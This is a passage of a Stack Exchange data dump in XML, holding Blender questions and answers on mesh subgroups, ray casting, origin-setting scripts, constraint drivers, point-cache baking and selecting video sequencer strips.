here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;shows the subgroups I would define in the case of your terrain object. I might be inclined to stretch the number of subgroups to 6 of more, if I need to separate out roads easily, and if the mountain in the upper right has too many vertices. In the case of the mountain, if I had to separate that into two subgroups, I'd cut into a bottom and a top subgroup, as indicated by the dashed line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As top exactly how I would define the vertices would depend upon the details of the game engine. I would certainly define vertex groups to make it easy to select (or deselect) one or more of the subgroups at a time, but I suspect that the subgroups would need to be made into separate objects which are exported to the game object as part of a single scene. This will depend upon the details of implementation of the import process for the game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: upon seeing your actual mesh I might make different choices for the subgroups I'd use.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2014-09-23T04:29:08.817" LastActivityDate="2014-09-23T04:29:08.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16103" PostTypeId="2" ParentId="16099" CreationDate="2014-09-23T02:16:08.540" Score="5" Body="&lt;p&gt;regarding &lt;strong&gt;&quot;but getting the feeling that there's more going on there than I need&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is too vague, you didn't state what you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/bpy.types.Scene.html#bpy.types.Scene.ray_cast&quot;&gt;Scene.ray_cast&lt;/a&gt; - which you can use to ray-cast into the entire scene's visible objects, but this doesn't expose access to the face thats hit. (only the point of intersection &amp;amp; the normal)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, no, this can't be further simplified. you need to.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Get the mouse coordinates from an Event.&lt;/li&gt;&#xA;&lt;li&gt;Get the RegionView3D from the context.&lt;/li&gt;&#xA;&lt;li&gt;Calculate a point-of-origin from the viewport &lt;em&gt;(not always obvious with orthographic projections)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Convert the mouse coordinates into a view-vector (using view3d_utils).&lt;/li&gt;&#xA;&lt;li&gt;loop over all objects you want to ray cast.&lt;/li&gt;&#xA;&lt;li&gt;convert the ray origin and direction into the object's local-space.&lt;/li&gt;&#xA;&lt;li&gt;run the ray-cast function on a selection of objects.&lt;/li&gt;&#xA;&lt;li&gt;find the closest result by shortening the ray each time.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course you can write your own function to handle all this, and just re-use. But there are many decisions involved in which objects are used, and how far to cast the ray, weather to use the views near-clip to offset the origin or not... etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't need dupli-object support the script could be simplified to loop over scene-objects (but not duplicators).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-09-23T02:23:23.163" LastActivityDate="2014-09-23T02:23:23.163" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="16104" PostTypeId="2" ParentId="15355" CreationDate="2014-09-23T07:04:43.880" Score="11" Body="&lt;h1&gt;Books&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;NOTE: Check the &lt;a href=&quot;https://store.blender.org/product-category/books/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Store&lt;/a&gt; on the books listed below to see if they can be purchased through that facility; doing so helps support the Blender foundation. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Beginner&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://docs.google.com/document/d/1zk2mWLxdRZmNLi6uww32LvGUJUQimrPFFKaoFbZ7_Jc&quot; rel=&quot;nofollow noreferrer&quot;&gt;Beginners guide to cycles nodes, the procedural way&lt;/a&gt;&lt;/em&gt; Free online book in google docs.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://en.wikibooks.org/wiki/Blender_3D:_Noob_to_Pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender 3D: Noob to Pro&lt;/a&gt;&lt;/em&gt; Free online Wikibook, also available as a &lt;a href=&quot;https://upload.wikimedia.org/wikipedia/commons/c/c1/BlenderDocumentation.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;pdf&lt;/a&gt; or a 7zipped &lt;a href=&quot;http://df.no-ip.info/pub/blender-wikibook-noob-to-pro-single-page.7z&quot; rel=&quot;nofollow noreferrer&quot;&gt;html page&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;http://www.blenderfoundations.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Foundations, The Essential Guide to Learning Blender 2.6&lt;/a&gt;&lt;/em&gt; by Roland Hess. ISBN 978-0-240-81430-8. Version 2.6&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://www.crcpress.com/The-Complete-Guide-to-Blender-Graphics-Computer-Modeling--Animation-Third/Blain/p/book/9781498746458&quot; rel=&quot;nofollow noreferrer&quot;&gt;CRC Press, The Complete Guide to Blender Graphics: Computer Modeling &amp;amp; Animation, Third Edition&lt;/a&gt;&lt;/em&gt; by John M. Blain. ISBN 978-1-498-74645-8. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Intermediate&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118275403.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mastering Blender&lt;/a&gt;&lt;/em&gt; by Tony Mullen ISBN 978-1118275405  &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;http://www.wiley.com/WileyCDA/WileyTitle/productCd-047042737X,miniSiteCd-SYBEX.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Introducing Character Animation with Blender, 2nd Edition&lt;/a&gt;&lt;/em&gt; by Tony Mullen. 978-0470427378&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;http://www.nostarch.com/blendermasterclass.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Master Class: A Hands-On Guide to Modeling, Sculpting, Materials, and Rendering&lt;/a&gt;&lt;/em&gt; by Ben Simonds ISBN 978-1593274771 &lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;http://www.blenderdiplom.com/en/shop/576-the-cycles-encyclopedia.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Cycles Encyclopedia&lt;/a&gt;&lt;/em&gt; by Frederick Steinmetz and &lt;a href=&quot;https://blender.stackexchange.com/users/3484&quot;&gt;Gottfried Hofmann&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Advanced&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;&lt;a href=&quot;http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470192801.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bounce, Tumble and Splash&lt;/a&gt;&lt;/em&gt; by Tony Mullen ISBN 978-0-470-19280-1 (Physics Simulation) 2008&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="16640" LastEditDate="2019-11-20T03:25:08.157" LastActivityDate="2019-11-20T03:25:08.157" CommentCount="3" CommunityOwnedDate="2014-09-23T07:04:43.880" ContentLicense="CC BY-SA 4.0" />
  <row Id="16106" PostTypeId="1" CreationDate="2014-09-23T09:34:54.903" Score="5" ViewCount="510" Body="&lt;p&gt;While it is extremely easy to find operator calls (by inspecting the user interface and the info window), I have big difficulties to actually find the low level alternative functions which I can (or should) use in my scripts instead of the operators.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One recent example was:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;operator call: &lt;code&gt;bpy.ops.anim.keyframe_insert_menu()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;RNA method call: &lt;code&gt;obj.keyframe_insert(&quot;location&quot;,frame=frame)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Finding the operator was a matter of less than a minute. The low level function came to me as a comment about improving my code example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I wonder where I could find answers to questions of the type:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;what function(s) can I use to replace this operator... ?&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For me the blender API is not helpful for answering this type of question and google only helped me in few cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I could post a question here every time I want to know more about a specific operator. But maybe there is a better alternative (document, gotcha, tip, tutorial...) that I overlook? &lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="1363" LastEditDate="2014-09-23T11:27:31.147" LastActivityDate="2014-09-23T12:30:01.607" Title="replace operators with low level functions" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16107" PostTypeId="1" CreationDate="2014-09-23T10:36:36.467" Score="5" ViewCount="2348" Body="&lt;p&gt;When i want to move the Origin of an object by script, then i can do this as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_location   = [0,0,0]&#xA;active        = scene.objects.active&#xA;cursor        = scene.cursor_location.copy()&#xA;&#xA;scene.objects.active  = obj&#xA;scene.cursor_location = my_location&#xA;&#xA;bpy.ops.object.origin_set(type='ORIGIN_CURSOR')&#xA;&#xA;scene.cursor_location = cursor&#xA;scene.objects.active = active&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there an efficient alternative which works without need to backup/restore the active object and the current cursor location ? If not, is it missing or is there a reason ?&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="2859" LastEditDate="2014-09-23T11:58:11.150" LastActivityDate="2019-09-15T13:52:06.167" Title="Is there a low level alternative for bpy.ops.object.origin_set()" Tags="&lt;python&gt;&lt;scripting&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16108" PostTypeId="2" ParentId="16107" CreationDate="2014-09-23T11:20:59.823" Score="5" Body="&lt;p&gt;Set the object location to the target location and translate the mesh vertices in the reverse direction (the negated vector of the difference between start location and target location of the origin = start minus target).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;a href=&quot;http://www.blender.org/api/blender_python_api_current/bpy.types.Mesh.html?highlight=bpy.types.mesh.transform#bpy.types.Mesh.transform&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mesh.transform()&lt;/a&gt; is not supported in &lt;em&gt;Edit Mode&lt;/em&gt;, you need to use a wrapped BMesh instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you use blender 2.79 change &lt;code&gt;bpy.context.scene.cursor.location&lt;/code&gt; to &lt;code&gt;bpy.context.scene.cursor_location&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;from mathutils import Matrix&#xA;&#xA;ob = bpy.context.object&#xA;cursor_world_loc = bpy.context.scene.cursor.location&#xA;cursor_local_loc = ob.matrix_world.inverted() @ cursor_world_loc&#xA;&#xA;mat = Matrix.Translation(-cursor_local_loc)&#xA;&#xA;me = ob.data&#xA;if me.is_editmode:&#xA;    bm = bmesh.from_edit_mesh(me)&#xA;    bm.transform(mat)&#xA;    bmesh.update_edit_mesh(me, False, False)&#xA;else:&#xA;    me.transform(mat)&#xA;&#xA;me.update()&#xA;&#xA;ob.matrix_world.translation = cursor_world_loc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="21828" LastEditDate="2019-09-15T13:52:06.167" LastActivityDate="2019-09-15T13:52:06.167" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="16109" PostTypeId="2" ParentId="16106" CreationDate="2014-09-23T12:30:01.607" Score="1" Body="&lt;p&gt;Attempt to create a collection of information resources:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From API documents&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Inspect the inherited Functions Section at the page bottom.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;From within the Python Console&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Inspect bpy.data...&lt;/li&gt;&#xA;&lt;li&gt;Inspect bpy.types... &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;List of useful reference documents&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/info_quickstart.htm&quot; rel=&quot;nofollow&quot;&gt;Reference API Quickstart&lt;/a&gt; (Blender 2.71 API)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_71_release/info_api_reference.html&quot; rel=&quot;nofollow&quot;&gt;Reference API usage&lt;/a&gt; (Blender 2.71 API)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-09-23T12:30:01.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16110" PostTypeId="1" AcceptedAnswerId="16126" CreationDate="2014-09-23T14:21:54.830" Score="2" ViewCount="4654" Body="&lt;p&gt;Is there a way to bake/cache geometry deformations (in this case, an animated character)? This would be handy if I wanted to import an animation to another scene, or just to save computation power if I wanted to add, for instance, a cloth-simulation on top of it.&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2014-09-24T06:11:23.787" Title="Is there a way to bake animated/ deformed geometry?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16111" PostTypeId="1" CreationDate="2014-09-23T15:25:51.833" Score="1" ViewCount="50" Body="&lt;p&gt;I am  trying to delete an object in my video using blender.  I think masking might have something to do with it.  Or I could be wrong.  For example:  I might have a stool with someone sitting on it.  Then in blender I want to get rid of the stool so it looks as if the actor is floating.  Help is appreciated.  Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note I am talking about live action video being edited in blender&lt;/p&gt;&#xA;" OwnerUserId="5751" LastActivityDate="2014-09-23T15:25:51.833" Title="How Can I Delete An Object In a Video Or Picture With Blender?" Tags="&lt;masking&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ClosedDate="2014-09-23T17:52:49.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="16112" PostTypeId="1" CreationDate="2014-09-23T15:48:00.213" Score="0" ViewCount="145" Body="&lt;p&gt;I am having no luck with the following:  I would like to set up a driver that looks at the Z position of an object falling per RB physics (not BGE) and controls some constraint settings based on Z position.  To be more specific, I am trying to use a driver to break a constraint or reduce its breakable threshold as the object (constrained with other falling objects) nears the passive ground plane.  Any thoughts would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="5799" LastActivityDate="2014-09-23T18:09:35.383" Title="Novel Use of Drivers" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-09-23T20:26:36.873" ContentLicense="CC BY-SA 3.0" />
  <row Id="16113" PostTypeId="2" ParentId="16112" CreationDate="2014-09-23T18:09:35.383" Score="3" Body="&lt;p&gt;i posted exactly how to do this in your other post almost a month ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/15413/can-i-use-weight-paint-to-control-animation-properties&quot;&gt;Can I use Weight Paint to Control Animation Properties?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code will work on an object i fractured using  Cell fracture, the object named &quot;Cube&quot;. then i used the Bullet Constraint tools 'Single constraint' to make the constraints.&#xA;this code wont work if you have used Empties to constrain the objects together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and a blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/14364171/constraint_control.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dl.dropboxusercontent.com/u/14364171/constraint_control.blend&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;press alt A, you will see the box stays together.&#xA;run the script (alt P in textblock) and then animate again. you will see the box stays together, until the plane moves above each object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;object_name = &quot;Cube&quot;&#xA;&#xA;&#xA;import bpy&#xA;&#xA;&#xA;&#xA;for obj in bpy.data.objects:&#xA;    if  object_name+&quot;_cell&quot; in obj.name:&#xA;        driver = obj.rigid_body_constraint.driver_add('enabled')&#xA;        driver.driver.expression=&quot;this_obj&amp;lt;mask_obj&quot;&#xA;        driver_variable = driver.driver.variables.new()&#xA;        driver_variable.name = &quot;this_obj&quot;&#xA;        driver_variable.type = 'TRANSFORMS'&#xA;        driver_variable.targets[0].transform_type = 'LOC_Z'&#xA;        driver_variable.targets[0].id = driver_variable.id_data    &#xA;&#xA;        driver_variable = driver.driver.variables.new()&#xA;        driver_variable.name = &quot;mask_obj&quot;&#xA;        driver_variable.type = 'TRANSFORMS'&#xA;        driver_variable.targets[0].transform_type = 'LOC_Z'&#xA;        driver_variable.targets[0].id = bpy.data.objects['mask']  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x4lTL.png&quot; alt=&quot;drivers&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-09-23T18:09:35.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16114" PostTypeId="1" CreationDate="2014-09-23T19:10:57.453" Score="2" ViewCount="43" Body="&lt;p&gt;When I download some files from blendswap they look like this.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TR2UD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the silver/gray solid view. &lt;/p&gt;&#xA;" OwnerUserId="6167" LastEditorUserId="2217" LastEditDate="2014-09-23T21:08:08.227" LastActivityDate="2014-09-23T21:08:08.227" Title="Change objects to soild view" Tags="&lt;3d-view&gt;&lt;objects&gt;&lt;wireframe&gt;" AnswerCount="0" CommentCount="1" FavoriteCount="1" ClosedDate="2014-09-23T21:03:03.547" ContentLicense="CC BY-SA 3.0" />
  <row Id="16115" PostTypeId="1" CreationDate="2014-09-23T21:14:31.433" Score="3" ViewCount="4229" Body="&lt;p&gt;I have been using blender for several years but I have never figured out if blender has a way to pack all the files from a scene, including blend files, textures, and render save files, in one folder like in Maya and other software?&lt;/p&gt;&#xA;" OwnerUserId="6169" LastEditorUserId="599" LastEditDate="2014-09-24T06:13:49.583" LastActivityDate="2014-09-24T06:13:49.583" Title="Is there a way to make a project directory for all the external files, including textures and render saves?" Tags="&lt;workflow&gt;&lt;blend-files&gt;&lt;scene&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16116" PostTypeId="1" CreationDate="2014-09-23T21:29:33.987" Score="0" ViewCount="58" Body="&lt;p&gt;So... I'm making yet another video. And I want to recreate this effect:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=hDiJ17Xgaw8&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=hDiJ17Xgaw8&lt;/a&gt; (its in the first 15 seconds)&lt;br&gt;&#xA;So I have kinda the general idea of how to do this, which may be complete reduntant.&#xA;My thought is to have 2 planes scaled out on the x axis and y axis, and animate their location, than to put the scene into VSE or MCE, and have video #1 be in the top left, video #2 in the top right, and so on. And I think if I could somehow parent a mask to an empty that is parented to the plane, that would work.&#xA;  So my question is how do I parent a mask point to an object?&#xA;Any help GREATLY appreciated!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Ok, so I'm realizing that parenting masks to an object isn't really going to work. I'm going to use objects in the 3D scene and use the alpha layer to do the masking. But I don't know how to use just the alpha in the VSE. Help?&lt;/p&gt;&#xA;" OwnerUserId="3090" LastEditorDisplayName="user1853" LastEditDate="2014-09-24T08:02:49.477" LastActivityDate="2014-09-24T08:02:49.477" Title="Animating masks to create multiple wipes" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;&lt;transparency&gt;&lt;masking&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2014-09-24T14:29:50.560" ContentLicense="CC BY-SA 3.0" />
  <row Id="16117" PostTypeId="1" CreationDate="2014-09-23T22:15:08.773" Score="1" ViewCount="197" Body="&lt;p&gt;Is there a way for an object to be rendered with a one tone lighting?&#xA;When I render a low poly object, it is illuminated with a lighting gradient - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/An7kw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is one tone lighting on each polygon, where the lighting quality is highly depended on the poly detail of the object - lighting per polygon instead of lighting per pixel. Which means that every polygon would be illuminated by a one tone of lighting so that the pixels on each polygon are equally colored - &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gM5xo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible to achieve and possibly in Cycles too?&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2014-09-24T00:22:16.473" LastActivityDate="2014-09-24T00:22:16.473" Title="Lighting per polygon" Tags="&lt;rendering&gt;&lt;light&gt;" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="16118" PostTypeId="2" ParentId="16115" CreationDate="2014-09-23T23:35:01.730" Score="1" Body="&lt;p&gt;I know what you mean and not quite. While Maya has these files on disk, blend files are like an archive and have an internal folder-like structure where it organizes scene data/resources etc. Blender has a feature to pack external resources into your file such as textures/images (useful for appending/linking things later and creating reusable libraries).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qYZe4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would argue that this is superior to how Maya or Max does it as you can simply pack a blend file and it will locate all external resources and group them into a single file. At anytime, you can always unpack the files to the current directory (usually just creates a textures folder).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, to answer your question, no it's not possible out of the box to automatically generate folders and have resources or renders to these predefined locations, if you want to mimic such behaviour, you can always create the folders and ensure that your file paths are relative.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-09-23T23:35:01.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16121" PostTypeId="1" CreationDate="2014-09-24T04:05:52.830" Score="1" ViewCount="5011" Body="&lt;p&gt;I don't know if anyone has asked this but I've encountered this problem numerous times on multiple files. When I'm trying to edit a mesh I get this edge that I can't select.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CKvHz.png&quot; alt=&quot;The Problem&quot;&gt;&#xA;Here's a better picture of what's going on. It's part of the face, but the edge doesn't show up in the wireframe. I tried deleting the face and it put a hole in my mesh.&lt;/p&gt;&#xA;" OwnerUserId="6174" LastEditorUserId="6174" LastEditDate="2014-09-25T07:21:10.833" LastActivityDate="2016-09-16T18:14:30.193" Title="Unselectable edge? Help!" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16122" PostTypeId="1" CreationDate="2014-09-24T04:16:54.310" Score="5" ViewCount="4032" Body="&lt;p&gt;I can't seem to select a clip in the sequencer. When I try, all it does is move the scrub point. I don't want to move the scrub point, I want to select the clip. I want to move the clip around. I want to delete the clip. But I can't select the clip!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried &lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt; clicking, &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt; clicking, &lt;kbd&gt;&amp;#8984; Cmd&lt;/kbd&gt; clicking, &lt;kbd&gt;&amp;#8997; Opt&lt;/kbd&gt; clicking, and every combination I could think of...&lt;/p&gt;&#xA;" OwnerUserId="6175" LastEditorUserId="1112" LastEditDate="2014-09-24T19:35:53.283" LastActivityDate="2014-10-28T18:29:50.533" Title="How to select a strip in the video sequence editor?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16123" PostTypeId="2" ParentId="16115" CreationDate="2014-09-24T04:44:43.910" Score="1" Body="&lt;p&gt;Yes there is. In your operating system outside of blender, create a folder with a name like &quot;Blender Project&quot; (or perhaps something just a tiny bit more descriptive) before you start the project, and move or save all files pertinent to a particular project in that file. You can do the same thing from the file browser of Blender. Additionally, you can &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Applying_Image&quot; rel=&quot;nofollow&quot;&gt;pack image&lt;/a&gt; files into a blender file.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-09-24T04:44:43.910" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16124" PostTypeId="2" ParentId="16122" CreationDate="2014-09-24T05:45:16.187" Score="3" Body="&lt;p&gt;Click in the middle of the strip, not the ends with the arrows.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;A&lt;/kbd&gt; selects/deselects all.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;B&lt;/kbd&gt; starts Box Select.&lt;/li&gt;&#xA;&lt;li&gt;Nonkeypad &lt;kbd&gt;Home&lt;/kbd&gt; centers the selected strip.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; +&lt;kbd&gt;MMB&lt;/kbd&gt; zooms.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It may be easier if the clip is of a manageable size.&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="151" LastEditDate="2014-09-24T11:52:52.530" LastActivityDate="2014-09-24T11:52:52.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16126" PostTypeId="2" ParentId="16110" CreationDate="2014-09-24T06:11:23.787" Score="1" Body="&lt;p&gt;You can export most animations as point cache files (*.pc2) and read them back in using the &lt;em&gt;Mesh Cache&lt;/em&gt; modifier. The export addon is not active as default so you have to enable it beforehand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c4hfz.png&quot; alt=&quot;Export Pointcache Format&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To read it back in, use the Mesh Cache modifier. The option to read PC2 files is under the format option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7xzUC.png&quot; alt=&quot;Mesh Cache modifier&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The PC2 format works well with 3dsMax's Point Cache modifier as well, so you can use it to transfer animations between the two programs. Not sure about Maya.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing you should keep in mind is that PC2 cannot save fluid simulations. Point caches require that the number of vertices remain the same between objects, and this is not the case with fluids. However it seems that a &lt;a href=&quot;http://www.blendernation.com/2014/09/21/developer-meeting-notes-september-21-2014&quot; rel=&quot;nofollow noreferrer&quot;&gt;modifier for reading OBJ sequences&lt;/a&gt; is in the works, but that's still coming.&lt;/p&gt;&#xA;" OwnerUserId="3420" LastActivityDate="2014-09-24T06:11:23.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16127" PostTypeId="2" ParentId="16122" CreationDate="2014-09-24T06:11:30.083" Score="6" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/3446/599&quot;&gt;Selecting&lt;/a&gt; is done with &lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot;&gt; RMB&lt;/kbd&gt;. Also make sure you click more in the middle of the strip, as the ends of a strip can be selected separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ytrs7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-09-24T06:22:01.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
